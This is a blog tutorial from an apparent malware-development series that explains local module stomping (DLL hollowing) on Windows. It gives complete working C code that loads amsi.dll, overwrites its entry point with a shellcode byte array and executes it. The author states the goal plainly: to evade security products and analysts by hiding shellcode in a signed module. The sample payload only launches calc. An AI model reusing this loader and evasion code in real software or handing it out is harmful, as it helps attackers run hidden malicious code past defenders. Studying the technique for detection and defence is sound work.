W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page
  • Intro
  • Control Flow Guard
  • Module Stomping / DLL Hollowing
  • Loading the Module
  • Retrieving Module Information
  • Calculating the DLL Entry Point
  • Stomping the Module
  • Executing DLL entry point
  • Final Code
  • Resources & References
  • Code Samples

Was this helpful?

  1. Malware Development
  2. Code Execution

Local Module Stomping / DLL Hollowing

Code execution by replacing a module (DLL) .text section with shellcode

PreviousLocal Mapping InjectionNextLocal Function Stomping

Last updated 5 months ago

Was this helpful?

Intro

The term "stomping" means replacing the content of a specific memory region. in module stomping (A.K.A. DLL hollowing), a malicious code (shellcode) replaces the content of .text section of a legitimate loaded module (DLL).

In classic code execution/injection techniques where shellcode is injected in memory using memory allocation APIs (e.g., VirtualAlloc/Ex), the allocated memory region is not backed by a module on disk (for example a benign DLL path likeC:\windos\system32\user32.dll).

This behavior looks suspicious in the eyes of security solutions and malware analysts. to avoid allocating such memory regions, we can load a benign DLL into our process and overwrite its content with our malicious shellcode; then, we execute the DLL entry point which in turn will invoke the shellcode.

There are two things to consider in this technique:

  1. CFG can potentially block module stomping if the malicious code execution relies on indirect calls or jumps.

  2. The .text section of the loaded DLL should be large enough for the shellcode to fit in.


Control Flow Guard

Control Flow Guard (CFG) is a security mechanism introduced in Windows to prevent indirect control flow attacks, such as code injection or Return-Oriented Programming (ROP). CFG ensures that only valid, pre-verified function entry points can be used as destinations for indirect calls or jumps.

In case of module stomping, CFG verifies that a function pointer (or indirect jump/call destination) points to a legitimate entry point of a function within an executable module. Shellcode injected into a DLL via module stomping does not reside at a valid function entry point recognized by CFG. so if the shellcode is executed via an indirect call or jump, CFG will intercept the execution attempt because the overwritten memory does not point to a valid function entry point.

In this blog post, we are hollowing a DLL in local process so the call to DLL entry point is direct (no jumps or indirect calls to a remote process). in this case the CFG won't be a problem.

However, when we get to process injection techniques, we have to find a way around CFG when performing remote module stomping.


Module Stomping / DLL Hollowing

The execution flow of this technique is like this:

  1. Load a legitimate DLL into current process

  2. Retrieve module information using GetModuleInformation

  3. Find the DLL entry point address in memory

  4. Stomping the .text section of module with our shellcode

  5. Executing DLL entry point which will invoke the shellcode

Loading the Module

Loading the module is as simple as calling LoadLibraryW API and pass the name of DLL:

    wchar_t BenignDllModule[] = L"C:\\windows\\system32\\amsi.dll";
    HMODULE hModule = NULL;

    hModule = LoadLibraryW(BenignDllModule);
    if (!hModule) {
        printf("[-] Failed to load DLL: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module loaded at 0x%p\n", hModule);
    }

Retrieving Module Information

To get the module information such as different PE headers and sections, we use the GetModuleInformation function.

This function takes a handle to target process (in this case, from GetCurrentProcess()) and a handle to target module (hModule), then returns a structure of type MODULEINFO :

typedef struct _MODULEINFO {
  LPVOID lpBaseOfDll;              // Module base address
  DWORD  SizeOfImage;              // size of module image
  LPVOID EntryPoint;               // Module entry point address
} MODULEINFO, *LPMODULEINFO;

This structure contains 3 members, we only need the EntryPoint parameter.

The code to retrieve the structure looks like this:

MODULEINFO moduleInfo;        // holds module info

if (!GetModuleInformation(
GetCurrentProcess(),         // returns a handle to current process 
 hModule,                    // handle to loaded module (amsi.dll)
  &moduleInfo,               // empty structure to hold returned data (output)
   sizeof(moduleInfo))       // size of MODULEINFO structure
   ) {
    printf("[-] Failed to get module info: %d\n", GetLastError());
    return 1;
}

Calculating the DLL Entry Point

hModule (Base Address of DLL)
  ↓
e_lfanew (Offset to PE header)
  ↓
PE Header -> OptionalHeader -> AddressOfEntryPoint (Offset to entry point)
  ↓
Add the AddressOfEntryPoint to hModule -> Entry Point Address

And here is the code for finding the entry point:

void* DllEntryPoint = NULL;

// Calculate the base address of DLL entry point
DllEntryPoint = (void*)((DWORD_PTR)hModule + ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);

Breakdown of the code:

  • (DWORD_PTR)hModule:

    • hModule is a handle to the loaded DLL. It's a pointer to the base address of the module in memory.

    • We cast it to DWORD_PTR (which is typically a uintptr_t type), ensuring that we can perform pointer arithmetic on it (i.e., adding and offsetting memory addresses).

  • (PIMAGE_DOS_HEADER)hModule:

    • A PIMAGE_DOS_HEADER is a pointer to the DOS header of the executable (in this case, the DLL).

    • The DOS header is the first part of an executable file and contains various fields. One of the key fields is the e_lfanew, which points to the start of the PE (Portable Executable) header.

  • ((PIMAGE_DOS_HEADER)hModule)->e_lfanew:

    • e_lfanew is the offset to the PE header from the beginning of the file. This value is stored in the DOS_HEADER structure. In the context of a loaded DLL, e_lfanew will give us the offset from hModule to the PE header.

  • (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew):

    • Now, we use the value from e_lfanew to locate the PE header in memory. The PE header contains vital information about the executable, including the OptionalHeader, which holds information about the entry point.

    • We cast the address to PIMAGE_NT_HEADERS (a pointer to the PE header structure) so we can access its fields.

  • ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint:

    • The AddressOfEntryPoint field in the OptionalHeader tells us the relative offset (from the base address of the module) to the entry point of the DLL.

    • This field provides the location where the execution of the DLL starts, often the DllMain function or any custom entry point defined by the DLL.

  • (void*)((DWORD_PTR)hModule + AddressOfEntryPoint):

    • Finally, we add the AddressOfEntryPoint to the base address of the module (hModule) to calculate the absolute address of the entry point in memory.

    • The result is a pointer (void*) to the entry point of the loaded DLL.

Stomping the Module

To stomp the module with our shellcode, we have to change its memory protection to RW (read/write) to be able to overwrite the memory content at that address. then we have to copy the shellcode into that address and finally, change the memory protection back to RX (read/execute):

DWORD oldProtect;

// change memory protection to RW
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
    printf("[-] Failed to change memory protection: %d\n", GetLastError());
    return 1;
}
else {
    printf("[+] Module memory protection changed to RW\n");
}

// copy the shellcode to module address space
memcpy(DllEntryPoint, shellcode, sizeof(shellcode));
printf("[+] Module .text section has been stomped with shellcode\n");

// change memory protection back to RX
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
    printf("[-] Failed to revert memory protection: %d\n", GetLastError());
    return 1;
}
else {
    printf("[+] Module memory protection set back to RX\n");
}

Executing DLL entry point

Finally, to invoke our shellcode which now resides in the address of module entry point, we simply call the DLL entry point using a function pointer:

((void(*)())DllEntryPoint)()

Final Code

The complete module stomping code will be this:

LocalModuleStomping.c
#include <stdio.h>
#include <windows.h>
#include <psapi.h>

int main()
{
    wchar_t BenignDllModule[] = L"C:\\windows\\system32\\amsi.dll"; // Benign DLL to load
    HMODULE hModule = NULL;
    void* DllEntryPoint = NULL;

    // calc shellcode
    unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
        0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
        0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
        0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
        0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
        0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
    };

    // Loading benign module into current process
    hModule = LoadLibraryW(BenignDllModule);
    if (!hModule) {
        printf("[-] Failed to load DLL: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module loaded at 0x%p\n", hModule);
    }

    // Get the entry point of the loaded DLL
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
        printf("[-] Failed to get module info: %d\n", GetLastError());
        return 1;
    }

    // Calculate the base address of DLL entry point
    DllEntryPoint = (void*)((DWORD_PTR)hModule + ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);

    printf("[+] DLL Entry point found at: 0x%p\n", DllEntryPoint);

    // Change the memory protection of the entry point to RW (Read/Write)
    DWORD oldProtect;

    if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
        printf("[-] Failed to change memory protection: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module memory protection changed to RW\n");
    }

    // Overwrite the entry point with the shellcode
    memcpy(DllEntryPoint, shellcode, sizeof(shellcode));
    printf("[+] Module .text section has been stomped with shellcode\n");

    // Change the memory protection back to RX (Read/Execute) to execute the shellcode
    if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("[-] Failed to revert memory protection: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module memory protection set back to RX\n");
    }

    printf("[*] Press <Enter> to execute DLL entry point...\n");
    getchar();
    // Call the entry point to execute the shellcode
    ((void(*)())DllEntryPoint)();

    return 0;
}

If we run the code, the module base address and the address of entry point is printed in the terminal:

As you can see, the memory region is backed by amsi.dll module on disk.

And the address of entry point:

But when we hit Enter, the calc will pop up :)


Resources & References


Code Samples

Code snippets are available on GitHub:

I covered DLL loading process in previous posts in the series, checkout for more info.

The address retrieved from MODULEINFO points to the base address module PE in memory. in order to find the address of module entry point (the first function executed when the module is loaded into process memory. e.g., DllMain) we have to walk the to get to the offset. the flow looks like this:

If we check the module properties in , we see that its a Microsoft signed binary:

Dynamic Load Library
PE headers
AddressOfEntryPoint
System Informer
Control Flow Guard for platform security - Win32 appsMicrosoftLearn
Logo
GetModuleInformation function (psapi.h) - Win32 appsMicrosoftLearn
Logo
MODULEINFO (psapi.h) - Win32 appsMicrosoftLearn
Logo
Burrowing a Hollow in a DLL to HideTrustedSec
Hiding malicious code with “Module Stomping”: Part 1 - F-Secure BlogF-Secure Blog
Module Stomping < BorderGateBorderGate
Module Stomping · GitBook
GitHub - 7h3w4lk3r/malware-development-samples: Samples for malware development series from my blogGitHub
Logo
Logo
Logo
Logo